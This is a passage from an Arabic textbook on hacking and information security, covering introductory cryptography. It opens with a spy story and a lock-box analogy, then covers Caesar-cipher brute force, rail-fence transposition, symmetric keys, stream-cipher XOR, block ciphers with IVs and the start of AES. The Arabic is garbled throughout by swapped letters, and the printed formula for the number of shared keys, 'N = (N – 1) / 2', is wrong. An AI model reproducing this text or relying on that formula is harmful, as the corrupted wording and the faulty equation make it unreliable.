‫يرصد الطريق يرجف من الربد حتت وابل املطر‪ ،‬ولذا بشيخ كبري من النصارى الذين كانوا‬
‫وحبل‪.‬‬
‫يعيشون يف ذذه املدينة من أذل الذمة‪ ،‬عىل دابة ومعه آلة احلطب من قأس َ‬
‫َق َسأل ُه الفارس َبعدَ أن استوقفه‪ :‬لىل أين أهيا العجوز يف مثل ذذا الوقت ؟ وماذا تفعل ؟‬
‫قال العجوز‪ :‬أريد َحطب ًا ألذيل ليستدقئوا‪..‬‬

‫تذكر َأمر احلاجب ا َملنصور‪ ..‬ققد َ‬


‫كان َمعروق ًا ب َحزمه وشدته‪،‬‬ ‫رت َك ُه الفارس ُيواصل َسرية‪ ،‬لكن ُه َ‬
‫َق َ َ‬
‫قأو َق َ‬
‫ف ال َعجوز قائ ً‬
‫ال ‪ :‬ال ُبد أن تأيت َمعي لىل األمري‪،‬‬
‫قال‪ :‬وماذا ُيريد األمري مني؟‪ ،‬دعني ُأتابع سريي‪.‬‬

‫لال أن الفارس أجربه عىل املثول بني يدي احلاجب املنصور‪ ..‬قأ َم َر بتفتيشه وحتري مالبسه قام عثروا عىل يشء ُمريب!‪،‬‬
‫قأمر املنصور بتحري بردعة احلامر!‪،‬‬
‫َ‬
‫وبعد حترهيا وجدوا قيها ططابا من بعض النصارى القاطنني يف جهة من ذذه املدينة َيدلون العدو عىل ثغرة من ثغرات‬
‫املسلمني كاتبني‪:‬‬
‫"أن اذجموا عىل مدينة سامل وعىل جيش املنصور من اجلهة الفالنية ونحن نساعدكم عىل تلك املباغتة"‪.‬‬
‫سيمر يف تلك الليلة ؟‬
‫متكنت الدذشة من احلارس‪ ،‬واستفهم من املنصور!‪ ،‬وكيف عرقت أن ذذا اجلاسوس ُ‬
‫ققال‪ :‬وذل تنتهز العيون لال أمثاهلا؟‬

‫‪Cryptography‬‬
‫]‪[292‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫انتهت القصة يا صديقي!‬


‫واآلن َ‬
‫تعال نُجري بعض التحليالت‪:‬‬
‫ذذا الشيخ الذي تم اإلمساك به‪..‬‬
‫قام باستغالل ذذه الظروف املُناطية القاسية لتكون يشء أشبه بال ”‪ “Secure Tunnel‬الذي تم لنشاؤه بني اجلهتني‬
‫التي يصل بينهم‪ .‬ثم اصطحب معه آلة احلطب ل ُيامرس بعض أساليب التعمية ”‪ ،“Obscurity‬كي يدقع الفارس أال‬
‫ماخيفيه‪ ،‬وأيض ًا قام بإطفاء الرسالة بشكل احرتايف ليُص ِّعب عملية العثور عليها‪.‬‬
‫ُيركز عىل ُ‬
‫يال ُه من ُمراوغ‪ ..‬لكن بقيت نقطة ضعف ططرية وذي أن الرسالة نفسها غري ُمشفرة!‪.‬‬

‫قكِّر معي قليالً‪ ..‬ختيل أننا نعيش يف القرون الوسطى‪ ،‬ونريد أن نُحقق عملية تواصل ِسية‪.‬‬
‫ماذا أقعل يف حالة رغبتي للتواصل مع شخص يقع يف مدينة ُأطرى وبشكل ِسي وموثوق؟‪.‬‬
‫‪...‬‬
‫ذل انتهيت؟ ‪..‬‬

‫ربام سأقوم باآليت‪:‬‬


‫سأقوم بإرسال رسول حيمل صندوق طشبي وبداطله "قفل"‪ ،‬ذذا القفل سيكون مفتاحه معي أنا ققط!‪ ،‬ذذا القفل‬
‫سأتركه مفتوح ًا داطل الصندوق‪ ..‬وعند وصوله للشخص املرجو‪ ،‬سيقوم ذو بأطذ "قفيل" ذذا‪ ،‬ثم يضع يف ذذا‬
‫الصندوق "قفله ذو" وأيض ًا سيرتك ُه مفتوح وحيتفظ بمفتاح القفل لديه‪.‬‬

‫‪Cryptography‬‬
‫]‪[293‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫واآلن سيأيت ليل الصندوق وبه قفل صديقي املفتوح!‪ ،‬حينها سأضع رسالتي اخلطرية بداطل الصندوق ثم أغلقه‬
‫ُ‬
‫حيث لن يتمكن من قتحه لال صديقي ألنه‬ ‫بالقفل اخلاص بصديقي و ُأرسل ُه مع الرسول وأنا ُمطمئن أنه يف ِسية‪،‬‬
‫الوحيد الذي حيمل مفتاح ذذا القفل‪..‬‬
‫وباملثل سيكتب يل صديقي الرد و ُيغلق الصندوق بقفيل أنا‪ ،‬ويعيد لرسال الصندوق ليل‪ ،‬وبالطبع لن يتمكن أحدذم‬
‫من قتحه سواي!‪..  .‬أليس كذلك؟‪.‬‬

‫لقد قمنا بضامن الُسية لكن مل نضمن سالمة الصندوق!‪ ،‬قربام يتعرض القفل للكُس أثناء الطريق!‪ ،‬أو يقوم أحدذم‬
‫بتغيري القفل ولرساله لىل صديقي‪ ،‬وبعد أن يضع صديقي قفله اخلاص‪ ،‬سيقوم أيض ًا باستبداله بقفل آطر ُلريسل ُه يل!‪،‬‬
‫وِبذا يكون ذذا الشخص ”‪ “Man in the middle‬بيننا‪ .‬ولكن لن يستمر ذذا ألكثر من مرة‪ ،‬حيث لن نتمكن أنا‬
‫وصديقي من قتح األقفال بعد غلقها ألن مفاتيحنا كانت ألقفال أطرى قام باستبداهلا ذذا الشخص الدطيل!‪.‬‬

‫ماذذا ال ‪!!Challenge‬‬
‫يبدو أننا بحاجة لبعض اآلليات التي تضمن لنا اخلصوصية‪ ،‬واملصداقية‪ ،‬والسالمة‪ ،‬واملوثوقية أثناء تعاملنا مع‬
‫األشخاص أو األجهزة اإللكرتونية أو ال ‪ Data‬بأنواعها!‪.‬‬
‫سنتعرف مع ًا يف ذذا الباب عىل تقنيات تشفري البيانات وآليات عملها‪.‬‬

‫‪Cryptography‬‬
‫]‪[294‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪Cryptography‬‬

‫ال ‪ Cryptography‬ذو عملية التواصل بني طرقني أو أكثر بشكل ِسي!‪ ،‬وذلك باستخدام ال ‪.Ciphers‬‬

‫ما ذذا ال ‪Cipher‬؟‬


‫نعم‪ ..‬لنه التوليفة الذكية التي تطرأ عىل ال ‪ Plaintext‬ل َيتَحول لىل ال ‪.Ciphertext‬‬

‫وما ذو ال ‪CipherText‬؟ ‪..‬وماذي أمثلة ال ‪ Plaintext‬التي سنهتم بتشفريذا ِبذا التعقيد‪..‬؟‬


‫ذذا ال ‪ CipherText‬ذو عبارة عن ال ”‪ ،“Scrambled Message‬لن ُه ال ‪ output‬الناتج من تطبيق معادالت التشفري‬
‫باستخدام ال ‪ Secret Key‬عىل ال ‪ PlainText‬أو ال ‪ Message‬املُراد لرساهلا‪ .‬أما ذذا ال ‪ plaintext‬قهو ال ‪data‬‬

‫ا ُملهمة كرسالة بريد للكرتوين ِبا معلومات حساسة‪ ،‬أو بيانات بطاقة ‪ ،Credit Card‬أو ملف ‪ ،Data Base‬أو غري‬
‫ذلك من البيانات احلساسة املُراد محايتها‪.‬‬

‫ماذذا ال ‪Secret Key‬؟‬


‫لنه ال ‪ Randomizer‬الذي ُيستخدم داطل ال ‪ ،Algorithm‬قمث ً‬
‫ال لو قرضنا أن ال ‪ Algorithm‬عبارة عن جمموعة من‬
‫املعادالت الرياضية‪ ،‬قتكون وظيفة ال ‪ Key‬حتديد ترتيب استخدام ذذه املعادالت واطتيار الق َيم ا ُملستَخدَ َمه قيها كي‬
‫َينتج يف النهاية ‪ُُ output‬متلف عن ال ‪ output‬الذي َنت ََج قبله باستخدام نفس ال ‪ ..!Algorithm‬ألن املعادالت ثابتة!‪،‬‬
‫قلو طبقناذا كام ذي عىل ال ‪ plaintext‬إلنتاج ال ‪ Ciphertext‬وقام أحدذم باإلمساك ِبذا ال ‪ cipher‬مع معرقة نوع‬

‫‪Cryptography‬‬
‫]‪[295‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ال ‪ Algorithm‬ا ُملستَخدَ َمة‪ ،‬قسيتمكن بكُل َبساطة من اسرتجاع ال ‪ ،!!plaintext‬أما وجود ال ‪ Key‬يزيد األمر‬
‫صعوبة حيث لن يتمكن من ختمني اخلطوات والتغريات التي طرئت عىل ال ‪ plaintext‬إلنتاج ذذا ال ‪..Cipher‬‬
‫سنعود لىل ذذا ال ‪ key‬مر ًة أطرى بعد قليل‪.‬‬

‫ولكن ما ذو تعريف ال ‪ Algorithm‬لذ ًا؟‬


‫لهنا عبارة عن جمموعة من ال ‪ Mathematical Rules‬التي ستُستَخدَ م يف عملية التشفري وقك التشفري‪.‬‬
‫وتعتمد ال ‪ Algorithm‬عىل ال ‪ Key‬لتحقيق ال ‪ Security‬املرجو!‪ُ ،‬‬
‫حيث أن‬
‫‪ ‬ال ‪ Algorithms‬تكون معلومة للجميع )‪.(Algorithms should be public‬‬
‫‪ ‬بينام ال ‪ Key‬البد أن يكون ِسي بني املُرسل واملُستقبل )‪.(Keys should remain private‬‬

‫َتيجة َمنطقية‪ ،‬وذي‪:‬‬


‫ُيمكنُنا الوصول لن َ‬

‫”‪“The algorithm will produce a different output depending on the secret key‬‬
‫‪..Key values are used by the algorithms to indicate which equations to use, in what order, and‬‬
‫‪with what values!.‬‬

‫ذذا جيد‪ ..‬كيف تعمل ذذه ال ‪ ،Algorithm‬أو كيف سيعمل ال ‪ Key‬داطل تلك ال ‪Algorithm‬؟‬
‫لنه يقوم بإجراء جمموعة من ال ‪ Substitutions‬و ال ‪ Transpositions‬عىل ال ‪ plaintext‬لتحقيق التشفري‪.‬‬

‫ما ذذا ال ‪ Substitutions‬و ال ‪Transpositions‬؟‬

‫‪Cryptography‬‬
‫]‪[296‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫األوىل (‪ )Substitution‬قهي باطتصار‪ ..‬أطذ قيمة ُثم استبداهلا ب ٍ‬


‫قيمة ُأطرى‪ ،‬قمثالً كُل حرف يف الرسالة سيتم‬
‫استبداله بحرف جديد‪.‬‬

‫وأما الثانية قتعني أنني َأ َضع الق َيم أو ا ُ‬


‫ألحرف بعد لجراء ال ‪ Transpositions‬عليها أمامي‪ُ ،‬ثم أقوم ببع َث َرهتا أو بتَغيري‬
‫أماكنها‪.‬‬

‫وما الغرض من لجراء ذذه العملية؟‬


‫لهنا أحد املقاييس أو ال )‪ (Characteristics‬التي تُعرب عن قوة ال ‪.!Algorithm‬‬
‫نُطلق عليها‪“Confusion and Diffusion” :‬‬

‫نُحقق ال ‪ Confusion‬ذذا بأن تكون ال َعالقة بني ال ‪ plaintext‬و ال ‪ key‬شديدة التعقيد!‪ ،‬وذذا لنضمن أنه لو قام‬
‫أحدذم بمعرقة ال ‪ ciphertext‬وال ‪ plaintext‬مع ًا قيكون من الصعب عليه ختمني ا ُملبادالت التي متت عىل "احلرف"‬
‫تحقق بتطبيق ال‬
‫أو ال ‪ character‬املوجود يف ال ‪ plaintext‬لينتج ذلك "احلرف" املقابل له يف ال ‪ .ciphertext‬وذذا َي َ‬
‫‪ Substitution‬عىل عدة مراحل‪.‬‬
‫ذذا تعريف آطر له‪:‬‬
‫‪Confusion refers to methods used to hide relationships between the plaintext,‬‬
‫‪the ciphertext, and the key. This means that the output bits must involve some complex‬‬
‫‪transformation of the key and plaintext.‬‬

‫أما ال ‪ Diffusion‬يتحقق بأن تكون العالقة بني ال ‪ plaintext‬و ال ‪ ciphertext‬معقدة بأكرب قدر مستطاع‬

‫‪Cryptography‬‬
‫]‪[297‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫)‪ (As complex as possible‬وذذا ألجل لحباط حماوالت ختمني ال ‪ Key‬ا ُملستخدم يف حالة التقاط أحدذم لل‬
‫‪ .ciphertext‬ويتحقق ذذا بتطبيق ال ‪ Transposition‬عىل عدة مراحل أيض ًا‪ .‬ذذا يعني أن ال ‪ُ Confusion‬يعنَى بال‬
‫‪ ،Substitution‬وال ‪ُ Diffusion‬يعنَى بال ‪.Transposition‬‬
‫لذا مل تستوعب ال ‪ Confusion‬و ال ‪ Diffusion‬بشكل واضح قستفهمهم جيد ًا عقب ذذه األمثلة‪:‬‬

‫‪Substitution Example‬‬
‫َسنَعرض مثال من كتاب السيد "ويليام ستالينج" لل ‪ Caesar Cipher‬لنوضح به كيف تتم عملية ال ‪Substitution‬‬

‫‪..‬كام يبدو من لسمه "‪ "Caesar Cipher‬أنه كان ُيستخدم يف عهد "يوليوس قيرص"‬

‫ماييل مثال ل ‪ ،plaintext‬وال ‪ ciphertext‬ا ُملناظر هلا‪:‬‬


‫‪plain: meet me after the toga party‬‬
‫‪cipher: PHHW PH DIWHU WKH WRJD SDUWB‬‬

‫يبدو سهالً علينا ختمني ال ‪ ..Secret Key‬أليس كذلك؟‬


‫ذل أدركت قائدة ال ‪ Confusion & Diffusion‬اآلن؟‬
‫ا ُملهم‪ ..‬يبدو أن ال ‪ Key‬ذو ”‪ “character in plain + 3‬إلنتاج ال ‪ ،cipher‬وبالعكس لفك الشفرة عند وصول‬
‫الرسالة ”‪.“character in cipher – 3‬‬

‫لنفرض أننا أمسكنا بال ‪ cipher‬ذذا أثناء رحلته السعيدة لىل الشخص اآلطر‪ ..‬كيف ُيمكننا ختمني ال ‪ Key‬ا ُملستخدم؟‬
‫سهل علينا لجراء املقارنة وختمني ال ‪ Substitutions‬احلادثة‪.‬‬
‫سنقوم برتقيم األحرف مجيعها كام ذو موضح بالشكل‪ ،‬ليَ ُ‬

‫‪Cryptography‬‬
‫]‪[298‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

.)25 + ‫ لىل أن نَصل لىل (احلرف‬،)3 + ‫ أو (احلرف‬،)2 + ‫ أو (احلرف‬،)1 + ‫ لما أن يكون (احلرف‬Key ‫واآلن ذذا ال‬
،‫ ونُشاذد املخرجات‬cipher ‫ احتامل لنُجرِبم عىل ذذا ال‬25 ‫ أي أننا لدينا‬،“25 of potentials Keys” ‫لذ ًا قنحن أمام‬
.‫ السليم‬Key ‫ حينها نكون قد و َقعنا عىل ال‬،!‫لىل أن نُصادف عبارة مفهومة‬
.‫ وذكذا‬،)25 – ‫(احلرف‬... ،)2 – ‫ (احلرف‬،)1 – ‫ (احلرف‬:‫ قسنقوم ب َعكس ا ُملعادلة‬،cipher ‫وبام أننا ُذنا لدينا ال‬
ِّ ‫ت‬
:‫ُلخ ُصها لنا ذذه املعادلة‬
Plaintext = Decryption(key, Cipher) = (Cipher - key) mod 26

‫ ذيا‬.Plaintext ‫ لتُنتج لنا ال‬Cipher ‫ وال‬Key ‫ ذي ال‬Arguments ‫ تأطذ‬function ‫ أشبه ب‬Algorithm ‫يبدو أن ال‬
:‫لنُجرب تطبيق ذذه املعادلة ومشاذدة ا ُملخرجات‬
PHHW PH DIWHU WKH WRJD SDUWB
KEY………………………………………………………………………….
1 oggv og chvgt vjg vqic rctva
2 nffu nf bgufs uif uphb qbsuz
3 meet me after the toga party
4 ldds ld zesdq sgd snfz ozqsx
5 kccr kc ydrcp rfc rmey nyprw
6 jbbq jb xcqbo qeb qldx mxoqv
7 iaap ia wbpan pda pkcw lwnpu

Cryptography
[299]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ذذا الذي طبقناه نُسميه ”‪ “Brute-Force Attack‬وذو يعني اآليت‪:‬‬


‫‪Trying every possible key until an intelligible translation of the ciphertext into plaintext is‬‬
‫‪obtained.‬‬

‫لقد َقهمنا ال ‪ Substitution‬اآلن‪..‬‬


‫ذيا لننتَقل لىل ال ‪.Transposition‬‬

‫‪Transposition Example‬‬
‫سنستخدم تكنيك بسيط ذو ال ”‪ “rail fence‬إلجراء عملية ال ‪ Transposition‬عىل ال ‪ Plaintext‬ا ُملراد لرساله‪.‬‬
‫نأطذ مثال برسالة عبارة عن‪THIS IS REALY GREAT BOOK :‬‬

‫لتحقيق ‪ Security‬أعىل سنقوم بكتا َبتها عىل ذيئة "‪."Block‬‬


‫ُكون ال ‪ ciphertext‬سنقوم بكتابتها مر ًة أطرى ولكن بالطول!‪،‬‬
‫َسنَكتُب الرسالة يف ُصفوف عىل ذيئة ‪ block‬ولكي ن ِّ‬
‫أي األعمدة َسنَبدأ به أوالً ُثم الذي يليه وذكذا‪..‬‬
‫مع لضاقة ال ‪ Key‬والذي َسيُ َحدِّ د ّ‬
‫‪Key: 3 4‬‬ ‫‪1‬‬ ‫‪2‬‬ ‫‪5………..‬‬
‫‪Plain: T H‬‬ ‫‪I‬‬ ‫‪S‬‬ ‫‪I……………..‬‬
‫‪S R‬‬ ‫‪E‬‬ ‫‪A‬‬ ‫‪L‬‬
‫‪Y G‬‬ ‫‪R‬‬ ‫‪E‬‬ ‫‪A‬‬
‫‪T B‬‬ ‫‪O‬‬ ‫‪O‬‬ ‫‪K‬‬

‫واآلن سنقوم باستخدام ال ‪ Key‬لتكوين ال ‪ ،cipher‬بحيث نبدأ بال ‪ Colum‬رقم واحد وذو الثالث يف الرتتيب‪ ،‬ثم‬
‫ال ‪ Colum‬رقم ‪ 2‬وذو الرابع يف الرتتيب‪ ..‬وذكذا‪ .‬قيكون ال ‪ Cipher‬يف النهاية ِبذا الشكل‪:‬‬
‫‪IEROSAEOTSYTHRGBILAK‬‬

‫‪Cryptography‬‬
‫]‪[300‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪Symmetric Cryptography‬‬

‫يف البداية سنقوم بتوضيح مفهوم ال ”‪“Cryptosystem‬‬

‫لن ُه ُي َع ِّرب عن جمموعة املعادالت ا ُمل َ‬


‫شرت َكة يف تقديم ذذه ال ‪ ،Security Service‬وذي عملية التشفري وقك التشفري!‪.‬‬

‫يتكون ال ‪ Cryptosystem‬ذذا من ثالثة ‪:Algorithms‬‬


‫‪ ‬تُستخدَ م األوىل يف ال ‪.Key generation‬‬
‫‪ ‬والثانية من أجل لجراء ال ‪.Encryption‬‬
‫‪ ‬والثالثة ألجل ال ‪.Decryption‬‬

‫نستطيع التعبري عن ذذه املراحل ِبذه الرموز }‪.{X, K, E, Y, D‬‬

‫حيث َير ُمز ال ‪ X‬لىل ال ‪ ،plaintext‬وال ‪ K‬لىل ال ‪ ،Key‬وال ‪ E‬لىل ال ‪ ،Encryption‬وال ‪ Y‬لىل ال ‪،Ciphertext‬‬
‫وأطري ًا ال ‪ D‬لىل ال ‪.Decryption‬‬

‫الشكل بالصفحة التالية يوضح لك وظيفتهم يف عملية التشفري و َقك التشفري‪:‬‬

‫‪Cryptography‬‬
‫]‪[301‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ونقوم بتعريف ال ”‪ “Symmetric Ciphers‬بأهنا ال ‪ Cryptosystems‬التي تَستَخدم نَفس ال ‪ Key‬يف َع َملية التشفري‬
‫موعة ت ََود لجراء اتصال آمن قيام َبينهم َق َس َيتم استخدام ‪ Key‬وحيد بني كل طرقني‪،‬‬
‫وقك التشفري‪ .‬قلو ا َق َرضنا أن َجم َ‬
‫ُيعترب ”‪ “Shared Secret Key‬قيام بينهم‪ .‬وكُلام زاد ال ‪ Key Space‬كُلام ازدادت قوت ُه وازدادت صعوبة كُسه‪.‬‬

‫‪Cryptography‬‬
‫]‪[302‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ولكن كيف سيتم توزيع ذذا ال ‪ Secret Key‬بني األطراف ا ُمل َ‬


‫شرتكَة بحيث نضمن وصوله بشكل آمن وِسي لىل كل‬
‫منهم؟‪.‬‬
‫توجد ُذنا عدة َبدائل إلجراء ذذا األمر‪ ،‬أبسطها أن َحيدُ ث ذذا التَبا ُدل ‪ offline‬قيام بينهم!‪ ..‬نُطلق عىل ذذه العملية بال‬
‫"‪ ،"Key Distribution Management‬سنتكلم عنها يف هناية ذذا الباب‪..‬‬
‫يتميز ذذا النوع من التشفري بالُسعة العالية لذا ما قورن بال ‪ ،Asymmetric Encryption‬لكن من عيوبه أن ُه ال ُيقدم‬
‫لنا طدمة ال ‪.Nonrepudiation‬‬

‫ما ذذا ال ‪..Nonrepudiation‬؟‬


‫للمستَقبل أن ذذه الرسالة التي وصلت لليه‪ ،‬قادمة من الشخص الذي قام بإرسلها بالفعل‪ ،‬ومل يتم‬
‫لهنا طاصية تُؤكِّد ُ‬
‫لرساهلا عن طريق شخص آطر ُمنتحالً شخصية املُرسل!‪ .‬سنأيت لليها بعد قليل‪..‬‬
‫التواصل معي وكأن ُه‬
‫ُ‬ ‫واآلن بام أن ذذا ال ‪ Key‬وحيد للتشفري والفك‪َ ،‬ق ُربام َي َقع ذذا ال ‪ key‬بيد َأ َحدذم َق َيتمكن م َن‬
‫الشخص ا َملرجو!‪ ،‬بينام يف حالة ال ‪ Asymmetric Encryption‬نَستَخدم ‪ key‬من أجل التشفري و آطر من أجل قك‬
‫التشفري‪ .‬قلو َو َق َع أحد ال ‪ keys‬قي أيدي أحدذم لن يتمكن من التالعب معنا ‪.‬‬
‫أيض ًا من عيوبه أنه غري ُجمدي عند حماولة تطبيقه عىل األعداد الكبرية من ا ُملشرتكني يف اإلتصال‪ ،‬حيث أن لكل عملية‬
‫اتصال بني اثنني ستحتاج ‪ Key‬طاص ِبم‪..‬‬
‫قمثالً‪ :‬لنفرض أن أربعة أشخاص يريدون الدطول يف ‪ group‬ليتواصلوا قيام بينهم‪ .‬ال ‪ user1‬سيحتاج ‪ key‬ليتصل‬
‫بال ‪ ،user2‬و ‪ُ key‬متلف ليتواصل مع ال ‪ ،user3‬وآطر ليتواصل مع ال ‪ .user4‬ثم ‪ user2‬سيحتاج ‪ُ key‬متلف‬
‫عنهم ليتواصل مع ال ‪ ،user3‬وآطر ليتواصل مع ال ‪.user4‬‬

‫‪Cryptography‬‬
‫]‪[303‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫وتنتهي احلفلة بتوظيف ‪ 6 keys‬هلؤالء‬


‫الشباب ‪.‬‬
‫ُيمكننا تلخيص ذذا بمعادلة تقوم‬
‫بحساب ال ‪ keys‬الالزمة بنا ًء عىل عدد ال‬
‫‪ parties‬املشرتكني يف املصلحة‪.‬‬

‫‪N = (N – 1) / 2‬‬

‫وبتطبيق ذذه املعادلة مث ً‬


‫ال عىل‬
‫‪ Web Application‬يقوم باالتصال به‬
‫اآلالف من ال ‪ ،users‬سنُفاجأ بالكم اهلائل من ال ‪ keys‬املطلوبة لذلك!‪ُ .‬ما جيعله غري ُمالئم هلذه العملية‪.‬‬
‫الشكل باألعىل ُيوضح تطبيق املعادلة عىل عدد املُشرتكني وحساب كمية ال ‪ Keys‬املطلوبة إلجراء االتصال‪.‬‬
‫واآلن سنتكلم عن أنواع ال ‪ Ciphers‬املُستخدمة يف ال ‪.Symmetric Cryptography‬‬

‫‪Stream Cipher‬‬
‫تَعتَمد قكرة ذذا النوع من ال ‪ ciphers‬عىل وجود ”‪ “Key stream Generator‬يقوم بإنتاج ‪ Stream‬من ال ‪ Bits‬أو‬
‫ال ‪ Bytes‬العشوائية أو كام نُسميها ‪ ،Pseudo-Random Bits‬يبدو واضح ًا من اسمها ”‪ “Random‬أنه ُيشرتط عدم‬
‫وجود عالقة رياضية بني ال ‪ Bit‬وال ‪ Bit‬الذي يليه يف ال ‪.Stream‬‬

‫‪Cryptography‬‬
‫]‪[304‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫غالب ًا يتم انتاجها عىل ذذا النحو‪ “One bit or one byte at a time” :‬بمعنى أنه كل ‪ُ plaintext digit‬يقابل ُه‬
‫‪.random bit‬‬
‫ونُطلق عىل ذذه السلسله من ال ‪ random bits‬بال ‪ ،Key Stream‬أي أهنا ستكون ال ‪ُ Key‬ذنا!‪ .‬ذذا ال ‪Key‬‬

‫سيمتلك ُه كال الطرقني املشرتكني يف اإلتصال‪.‬‬


‫ثم نقوم بعمل ‪ XOR‬بني ذذه ال ‪ Bits‬وال ‪ Plaintext digits‬ل َيتم ِبذا لنتاج ال ‪ .Ciphertext‬وعندَ وصوله للج َهة‬
‫األُطرى َيتم أيض ًا استخدام نفس ال ‪ Key‬ل َع َمل ال ‪ Decryption‬بنَفس ال َطريقة الستعادة ال ‪ .plaintext‬ماييل شكل‬
‫يوضح ال ‪ process‬احلاصلة‪:‬‬

‫وذذا شكل آطر يوضح نفس العملية‪:‬‬

‫‪Cryptography‬‬
‫]‪[305‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

‫؟‬..XOR ‫ ملاذا نقوم باستخدام ذذا ال‬..‫لعلك تتسائل‬


‫َحصل عليه عندما نأيت ِبذه ال‬ ُّ ‫ وذذا الت‬،)plaintext ‫ لكي حيدث التغري يف شكل ا ُملدطالت (ال‬،‫السبب األول‬
ُ ‫َغري َسن‬
“Linear Function” ‫ تُعترب‬XOR ‫ ذذه ال‬،ciphertext ‫ لينتج ال‬plaintext ‫ وندجمها مع ال‬bits
It detects the ODD and the EVEN counts.
The output will be 1 (when input bits are not matching)
And the output will be 0 (when input bits are matching).

.Reversible Operation ‫ أهنا تتميز بأهنا‬،‫والسبب الثاين‬

‫؟‬..“Reversible Operation” ‫وماذا سنستفيد من كَوهنا‬


.‫ ذذه‬XOR ‫سنأطذ مثال لنفهم منه قائدة عملية ال‬
Ciphertext ‫( ذو ال‬X XOR Y) ‫وال‬Y ‫ ذو ال‬Random Bit ‫ وال‬X ‫ ذو ال‬plaintext digit ‫لنفرض أن ال‬

Cryptography
[306]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ذذا ال ‪ ciphertext‬عندما يصل للجهة األطرى سيتم عمل ‪ XOR‬له مع ال ‪ Y‬وذو ال ‪ Bit Stream‬لينتج نفس ال ‪X‬‬

‫مر ًة أطرى كام يظهر‪.‬‬


‫‪X‬‬ ‫‪Y‬‬ ‫‪X ⊕ Y‬‬
‫‪0‬‬ ‫‪0‬‬ ‫‪0‬‬
‫‪0‬‬ ‫‪1‬‬ ‫‪1‬‬
‫‪1‬‬ ‫‪0‬‬ ‫‪1‬‬
‫‪1‬‬ ‫‪1‬‬ ‫‪0‬‬

‫‪Block Cipher‬‬
‫ذذا النوع من ال ‪ Ciphers‬يتعامل مع ال ‪ message‬أو ال ‪ plaintext‬ك ‪ ،Block‬ذذا ال ‪ Block‬سيتم حتويله لىل ال‬
‫‪ ciphertext‬عىل ذيئة ‪ Block‬أيض ًا بنفس ال ‪.Length‬‬

‫موضح بالشكل ال ‪ Length of Block‬وذو املشار لليه بال ”‪ “b bits‬الحظ أنه ثابت لل ‪ plaintext‬وال ‪.ciphertext‬‬

‫‪Cryptography‬‬
‫]‪[307‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ الذي رشحناه من قبل؟‬Transposition Cipher ‫ذل تتذكر ال‬


.Block Ciphers ‫ أحد أشكال ال‬Transposition Cipher ‫ُي َعد ذذا ال‬
‫ بل يتم تقطيع‬،‫ ولكن يف الواقع ال يكون األمر كذلك‬،!‫ ققط‬Single Block ‫الشكل السابق يوضح عملية التشفري ل‬
.128 bits ‫ أو‬64 bits ‫ منهم َيب ُلغ حجمه‬Block ‫ كُل‬،Block ‫ لىل أكثر من‬plaintext ‫ال‬
In the next Fig: the input to the encryption algorithm is the XOR of the current plaintext block
and the preceding ciphertext block

..(IV) ‫ وذو ال‬plaintext ‫ ألول‬XOR ‫نُالحظ ُدطول يشء غريب يف عملية ال‬

‫؟‬..“Initialization Vector” ‫قام ذذا ال‬

،Plaintext ‫ هلا َمع ال‬XOR ‫ نقوم ب َع َمل‬،Plaintext ‫ اخلاص بال‬Length ‫ هلا نفس ال‬Random String ‫لن ُه عبارة عن‬
‫“ باستخدام نفس‬Block of Plaintext” ‫ ُُمتلف يف كُل َمره َيتم تشفري نفس ذذا ال‬Ciphertext ‫ووظيفتها ذ َي لنتاج‬
.‫جلعل َعملية ختمني الرسالة أصعب وأكثر تعقيد ًا‬
َ ‫ وذذا‬.Key ‫ال‬

Cryptography
[308]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

..‫أعتقد اآلن أن ُه أصبحت لدينا بعض املفاذيم اجليدة التي سنعتمد عليها يف املرحلة القادمة‬
‫ و ُقمنا بتَعريف‬Symmetric Encryption ‫حيث كُنا نَتحدث َعن ال‬
ُ ‫سنعود مر ًة أطرى لىل ما َذكرنا ُه يف أول ذذه الفقرة‬
.Cryptosystems ‫مفهوم ال‬

.‫ يف تشفري البَيانات‬Block Ciphers ‫( يعتمد َمبدأ ال‬Symmetric Cryptosystem) ‫َسننتقل لتحليل نظام ُمتكامل‬
.3DES ‫ وال‬AES ‫ ذو ال‬Symmetric Cryptosystem ‫لعل أشهر ذذه ال‬
.AES ‫سوف نذذب يف جولة ُُمتعة داطل ال‬

AES (Advanced Encryption Standard)


The Advanced Encryption Standard (AES) was published by the National Institute
of Standards and Technology (NIST) in 2001.
AES is a symmetric block cipher that is intended to replace DES as the approved standard for a
wide range of applications.
The algorithm is referred to as AES-128, AES-192, or AES-256, depending on the key length.

block ‫ أي أن َحجم ال‬،1 byte ‫ كُل طانة ُمت َ ِّثل‬،‫ طانة‬16 ‫ بلوك يتكون من‬Algorithm ‫ هلذه ال‬input ‫يكون ال‬

.‫ ُثم ُجيري عليها عملية التشفري‬Blocks ‫ ووضع ُه يف‬plaintext ‫ ذذا يعني أن ُه سيقوم بتقسيم ال‬،128-bits ‫َس َيكون‬

Cryptography
[309]
